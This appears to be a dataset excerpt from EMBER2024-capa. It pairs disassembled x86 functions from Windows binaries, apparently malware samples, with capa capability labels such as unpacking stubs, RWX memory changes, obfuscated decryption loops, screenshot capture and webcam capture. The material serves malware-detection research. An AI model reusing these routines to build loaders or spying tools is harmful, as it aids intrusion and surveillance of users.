joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405e30
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x42602b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4040f4
call fcn.00406a91
push 4
mov dword [esp + 0x18], 0
call fcn.0040774b
mov edi, eax
add esp, 4
test edi, edi
je 0x405ea4
push ebx
call fcn.00406969
mov dword [edi], eax
call fcn.00406728
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00406a52
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x405e98
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00406a7a
pop ebx
jmp 0x405ea6
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x4081c1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x429648]
jne 0x4081cb
repz ret
jmp fcn.0040ca4c
Function at 0x411e8c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x429648]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040b5bd
and dword [ebp - 0x14], 0
cmp dword [0x42bf8c], 0
mov dword [ebp - 0x18], eax
jne 0x411f3f
push 0x403f00
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x411fe7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403ef4
push ebx
call edi
test eax, eax
je 0x411fe7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403ee4
push ebx
mov dword [0x42bf8c], eax
call edi
push eax
call esi
push 0x403ed0
push ebx
mov dword [0x42bf90], eax
call edi
push eax
call esi
push 0x403eb4
push ebx
mov dword [0x42bf94], eax
call edi
push eax
call esi
mov dword [0x42bf9c], eax
test eax, eax
je 0x411f3f
push 0x403e9c
push ebx
call edi
push eax
call esi
mov dword [0x42bf98], eax
mov eax, dword [0x42bf98]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x411f98
cmp dword [0x42bf9c], ecx
je 0x411f98
push eax
call esi
push dword [0x42bf9c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x411f98
test ebx, ebx
je 0x411f98
call edi
test eax, eax
je 0x411f8f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x411f8f
test byte [ebp - 8], 1
jne 0x411f98
or dword [ebp + 0x10], 0x200000
jmp 0x411fcb
mov eax, dword [0x42bf90]
cmp eax, dword [ebp - 0x18]
je 0x411fcb
push eax
call esi
test eax, eax
je 0x411fcb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x411fcb
mov eax, dword [0x42bf94]
cmp eax, dword [ebp - 0x18]
je 0x411fcb
push eax
call esi
test eax, eax
je 0x411fcb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42bf8c]
call esi
test eax, eax
je 0x411fe7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x411fe9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004081c1
leave
ret

Function at 0x4249c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov eax, 0x6b
mov edx, 0x72
mov word [0x7afce8], ax
mov word [0x7afcec], dx
mov ecx, 0x6e
mov edx, 0x65
xor eax, eax
push 0x7afce8
mov dword [0x7afcf4], 0x320033
mov dword [0x7afcfc], 0x6c006c
mov word [0x7afcee], cx
mov dword [0x7afcf0], 0x6c0065
mov dword [0x7afcf8], 0x64002e
mov word [0x7afcea], dx
mov word [0x7afd00], ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x7afce4]
lea ecx, [esp]
push ecx
push 0x40
mov dword [0x7afce0], eax
mov eax, dword [0x430d34]
push edx
push eax
mov byte [0x42bfab], 0x65
mov dword [0x42bfa1], 0x75747269
mov word [0x42bfa5], 0x6c61
mov byte [0x42bfa0], 0x56
mov word [0x42bfac], 0x7463
mov byte [0x42bfae], 0
mov dword [0x42bfa7], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret
Function at 0x424ab0
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
sub esp, 0x80c
cmp dword [0x7afce4], 0x37
jne 0x424b4b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov eax, dword [esp]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
push 0
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 8]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea eax, [esp + 4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
push 0
lea ecx, [esp + 0x410]
push ecx
push 0
push 0x403f80
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov edx, dword [0x7b0cd8]
mov dword [esp], edx
mov eax, 0x5d1
add dword [esp], eax
mov eax, dword [esp]
mov cl, byte [eax + esi]
mov edx, dword [0x430d34]
mov byte [edx + esi], cl
add esp, 0x80c
ret
Function at 0x424cf0
Capabilities:
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0x7afce4]
sub esp, 0x9cc
push ebx
push ebp
push esi
mov esi, dword [0x430d34]
shr eax, 3
push edi
test eax, eax
je 0x424e9a
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], eax
jmp 0x424d24
mov esi, dword [esp + 0x18]
cmp dword [0x7afce4], 0x1c
jne 0x424d41
lea eax, [esp + 0x38]
push eax
push 0
lea ecx, [esp + 0x44]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov edx, dword [0x42a2d0]
mov eax, dword [0x42a2d4]
mov ecx, dword [0x42a2d8]
mov edi, dword [esi]
mov ebx, dword [esi + 4]
mov dword [esp + 0x24], edx
mov edx, dword [0x42a2dc]
mov ebp, 0xc6ef3720
mov dword [esp + 0x34], eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], edx
mov dword [esp + 0x1c], 0x20
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x30]
mov ecx, edi
shl ecx, 4
add ecx, dword [esp + 0x2c]
lea edx, [edi + ebp]
xor eax, ecx
xor eax, edx
sub ebx, eax
mov eax, ebx
shl eax, 4
mov dword [0x7afc54], 0
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x24]
add dword [esp + 0x14], eax
cmp dword [0x7afce4], 0x1be
jne 0x424dcd
lea ecx, [esp + 0x28]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov esi, ebx
shr esi, 5
add esi, dword [esp + 0x34]
cmp dword [0x7afce4], 0x979
mov dword [0x7afc58], 0xff6b3619
mov dword [0x7afc5c], 0xffffffff
jne 0x424e1f
mov edx, dword [esp + 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push 0
lea eax, [esp + 0x1dc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea eax, [ebx + ebp]
xor esi, eax
mov eax, dword [esp + 0x14]
xor eax, esi
sub edi, eax
add ebp, 0x61c88647
dec dword [esp + 0x1c]
mov dword [esp + 0x14], eax
jne 0x424d7a
cmp dword [0x7afce4], 0x8d4
jne 0x424e57
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov esi, dword [esp + 0x18]
mov dword [esi], edi
mov dword [esi + 4], ebx
cmp dword [0x7afce4], 0x17
jne 0x424e89
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
lea edx, [esp + 0x98]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
add esi, 8
dec dword [esp + 0x20]
mov dword [esp + 0x18], esi
jne 0x424d20
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x9cc
ret
Function at 0x40fb40
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40b015
lea edi, [esi - 0xa015]
push edi
or ebp, 0xffffffff
jmp 0x40fb62
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40fb69
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40fb58
mov eax, 1
add ebx, ebx
jne 0x40fb7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40fb70
jne 0x40fb8c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40fb70
xor ecx, ecx
sub eax, 3
jb 0x40fba0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40fc12
mov ebp, eax
add ebx, ebx
jne 0x40fbab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40fbb8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40fbdc
inc ecx
add ebx, ebx
jne 0x40fbc8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40fbbd
jne 0x40fbd9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40fbbd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40fbfc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40fbed
jmp 0x40fb5e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40fbfc
add edi, ecx
jmp 0x40fb5e
pop esi
mov edi, esi
mov ecx, 0x210
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40fc1a
cmp byte [edi], 5
jne 0x40fc1a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40fc1f
lea edi, [esi + 0xd000]
mov eax, dword [edi]
or eax, eax
je 0x40fc8e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x103dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x10490]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40fc4c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x10494]
or eax, eax
je 0x40fc88
mov dword [ebx], eax
add ebx, 4
jmp 0x40fc69
call dword [esi + 0x104a4]
mov ebp, dword [esi + 0x10498]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40fcc2
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x411450
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40d015
lea edi, [esi - 0xc015]
push edi
or ebp, 0xffffffff
jmp 0x411472
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x411479
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x411468
mov eax, 1
add ebx, ebx
jne 0x41148b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x411480
jne 0x41149c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x411480
xor ecx, ecx
sub eax, 3
jb 0x4114b0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x411522
mov ebp, eax
add ebx, ebx
jne 0x4114bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4114c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4114ec
inc ecx
add ebx, ebx
jne 0x4114d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4114cd
jne 0x4114e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4114cd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41150c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4114fd
jmp 0x41146e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41150c
add edi, ecx
jmp 0x41146e
pop esi
mov edi, esi
mov ecx, 0x210
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41152a
cmp byte [edi], 5
jne 0x41152a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41152f
lea edi, [esi + 0xf000]
mov eax, dword [edi]
or eax, eax
je 0x41159e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x147e8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1489c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41155c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x148a0]
or eax, eax
je 0x411598
mov dword [ebx], eax
add ebx, 4
jmp 0x411579
call dword [esi + 0x148b0]
mov ebp, dword [esi + 0x148a4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4115d2
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x1000b120
Capabilities:
Capture screenshot

Disassembly:
sub esp, 8
push ebx
push ebp
mov ebp, dword [esp + 0x20]
push esi
mov eax, ebp
push edi
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x40]
cdq
idiv edi
mov ecx, eax
mov eax, dword [esp + 0x2c]
cdq
idiv esi
mov dword [esp + 0x3c], ecx
mov ebx, eax
mov eax, ebp
cdq
idiv edi
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x38]
mov dword [esp + 0x28], ebx
mov dword [esp + 0x40], edx
cdq
idiv esi
test ecx, ecx
mov dword [esp + 0x10], edx
jle 0x1000b1d0
mov eax, dword [esp + 0x20]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x2c], eax
test ebx, ebx
jle 0x1000b1bb
mov ecx, dword [esp + 0x28]
mov ebx, dword [esp + 0x24]
mov dword [esp + 0x38], ecx
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x2c]
push 0xcc0020
push ebp
push edx
mov edx, dword [esp + 0x28]
push eax
push esi
push edi
push ebx
push ecx
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esp + 0x38]
add ebx, esi
dec eax
mov dword [esp + 0x38], eax
jne 0x1000b183
mov ecx, dword [esp + 0x3c]
mov ebx, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x14]
add edx, edi
dec eax
mov dword [esp + 0x2c], edx
mov dword [esp + 0x14], eax
jne 0x1000b173
mov eax, dword [esp + 0x40]
test eax, eax
je 0x1000b231
test ebx, ebx
jle 0x1000b231
imul ecx, edi
mov eax, dword [esp + 0x20]
add ecx, eax
mov dword [esp + 0x38], ecx
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x2c], ecx
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x40]
push 0xcc0020
push ebp
push edx
mov edx, dword [esp + 0x38]
push eax
mov eax, dword [esp + 0x48]
push esi
push ecx
mov ecx, dword [esp + 0x34]
push edx
push eax
push ecx
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [esp + 0x2c]
add ecx, esi
dec ebx
mov dword [esp + 0x2c], ecx
jne 0x1000b1f1
mov ecx, dword [esp + 0x3c]
mov ebx, dword [esp + 0x28]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000b28e
test ecx, ecx
jle 0x1000b28e
imul ebx, esi
mov edx, dword [esp + 0x24]
mov dword [esp + 0x2c], ecx
add ebx, edx
mov dword [esp + 0x38], ebx
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x10]
push 0xcc0020
push ebp
push eax
mov eax, dword [esp + 0x44]
push ecx
mov ecx, dword [esp + 0x2c]
push edx
push edi
push eax
push ebx
push ecx
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esp + 0x2c]
add ebx, edi
dec eax
mov dword [esp + 0x2c], eax
jne 0x1000b252
mov ecx, dword [esp + 0x3c]
mov ebx, dword [esp + 0x28]
mov edx, dword [esp + 0x40]
test edx, edx
je 0x1000b2cf
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000b2cf
push 0xcc0020
imul ebx, esi
push ebp
mov ebp, dword [esp + 0x3c]
imul ecx, edi
mov esi, dword [esp + 0x28]
push ebp
mov ebp, dword [esp + 0x3c]
add ecx, esi
push ebp
push eax
mov eax, dword [esp + 0x38]
push edx
mov edx, dword [esp + 0x34]
add ebx, eax
push ebx
push ecx
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 8
ret
Function at 0x1000ebb0
Capabilities:
Hash data with md5

Disassembly:
mov edx, ecx
push edi
xor eax, eax
mov ecx, 0x10
mov edi, edx
mov dword [edx + 0x90], eax
mov dword [edx + 0x94], eax
mov dword [edx + 0x80], 0x67452301
mov dword [edx + 0x84], 0xefcdab89
mov dword [edx + 0x88], 0x98badcfe
mov dword [edx + 0x8c], 0x10325476
add edx, 0x40
rep stosd dword es:[edi], eax
mov ecx, 0x10
mov edi, edx
rep stosd dword es:[edi], eax
mov byte [edx], 0x80
pop edi
ret
Function at 0x10017480
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov ebp, ecx
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100174b6
pop edi
pop esi
pop ebp
mov eax, 2
pop ebx
ret 8
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
test esi, esi
ja 0x100174d8
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 2
pop ebx
ret 8
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x14]
mov ebx, eax
push 0
push ecx
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov eax, dword [esp + 0x14]
push edi
cmp esi, eax
je 0x1001750e
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 2
pop ebx
ret 8
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [esp + 0x18]
mov ecx, ebp
push edx
push esi
push ebx
call fcn.10017540
push ebx
mov esi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 8
Function at 0x10019250
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10027907
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x1c], esi
lea ecx, [esi + 0xc]
call fcn.10017090
xor edi, edi
lea ecx, [esi + 0x398]
mov dword [ebp - 4], edi
call fcn.1001a700
lea ecx, [esi + 0x3a0]
mov byte [ebp - 4], 1
call fcn.10011450
lea ecx, [esi + 0x3d8]
call fcn.10009db0
mov dword [esi + 0x3dc], edi
mov dword [esi + 0x3e0], edi
mov dword [esi + 0x3e4], edi
mov dword [esi + 0x3e8], edi
mov dword [esi + 0x3ec], edi
mov dword [esi + 0x3f0], edi
mov dword [esi + 0x3f4], edi
mov dword [esi + 0x3f8], edi
mov dword [esi + 0x3fc], edi
mov dword [esi + 0x400], edi
mov dword [esi + 0x404], edi
mov dword [esi + 0x408], edi
mov dword [esi + 0x40c], edi
mov dword [esi + 0x410], edi
mov dword [esi + 0x414], edi
mov dword [esi + 0x418], edi
mov dword [esi + 0x41c], edi
mov dword [esi + 0x420], edi
mov dword [esi + 0x424], edi
mov dword [esi + 0x428], edi
mov dword [esi + 0x42c], edi
mov dword [esi + 0x430], edi
mov dword [esi + 0x434], edi
mov dword [esi + 0x438], edi
mov dword [esi + 0x43c], edi
mov dword [esi + 0x440], edi
mov dword [esi + 0x444], edi
mov dword [esi + 0x448], edi
mov dword [esi + 0x44c], edi
mov dword [esi + 0x450], edi
mov dword [esi + 0x454], edi
mov dword [esi + 0x458], edi
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 0xa
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], eax
call sub.MSVFW32.dll_DrawDibOpen
lea edx, [esi + 0x384]
xor ecx, ecx
mov dword [esi + 0x18], eax
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
call dword [sym.imp.KERNEL32.DLL_GetVersion]
mov ebx, eax
xor eax, eax
and ebx, 0xff
cmp ebx, 5
mov dword [ebp - 0x18], ebx
setne al
mov dword [esi], eax
push 0x19043c39
call fcn.10030928
test dl, 0x45
daa
mov eax, dword [ebp]
rcr dx, cl
not edx
mov edx, dword [ebp + 4]
bt cx, 3
cmp ebp, edi
pushal
call fcn.10031b53
pushal
pushal
call fcn.10030f23

Function at 0x1001b8f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x1001b908
pop edi
mov eax, 3
pop esi
ret
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov edi, eax
test edi, edi
jne 0x1001b927
pop edi
mov eax, 3
pop esi
ret
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push edx
mov edx, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push ecx
push eax
push ebx
call fcn.1001b870
add esp, 0x18
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, edi
pop ebx
pop edi
pop esi
ret
Function at 0x10020700
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, ecx
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
push edi
mov eax, dword [esi + 8]
lea ebp, [esi + 0x44]
push ebp
push 0
push 0x41a
push eax
call ebx
mov ecx, dword [esi + 8]
lea edi, [esi + 0x34]
push edi
push 0
push 0x419
push ecx
call ebx
mov edx, dword [esi + 8]
push 0xfffffffffffffff0
push edx
call fcn.10009a50
test al, 2
je 0x100207a0
mov ecx, dword [esi + 8]
lea eax, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [ebp]
mov ebx, dword [esi + 0x4c]
mov ebp, dword [esi + 0x50]
mov edx, dword [esi + 0x48]
sub ebx, eax
mov eax, dword [esp + 0x14]
sub ebp, edx
mov edx, dword [esp + 0x1c]
add eax, edx
cdq
sub eax, edx
mov ecx, eax
mov eax, ebx
cdq
sub eax, edx
mov edx, dword [edi]
sar ecx, 1
sar eax, 1
sub ecx, eax
mov eax, dword [esi + 0x3c]
add eax, edx
mov dword [esi + 0x48], ecx
cdq
sub eax, edx
add ecx, ebx
mov edi, eax
mov eax, ebp
cdq
sub eax, edx
mov dword [esi + 0x50], ecx
sar edi, 1
sar eax, 1
sub edi, eax
mov dword [esi + 0x44], edi
add edi, ebp
mov dword [esi + 0x4c], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x10026440
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x100264b1
mov ecx, dword [ebp - 4]
cmp dword [ecx + 8], 0
je 0x100264b1
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.DLL_FlushInstructionCache]
test eax, eax
jne 0x1002649a
jmp 0x100264b1
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8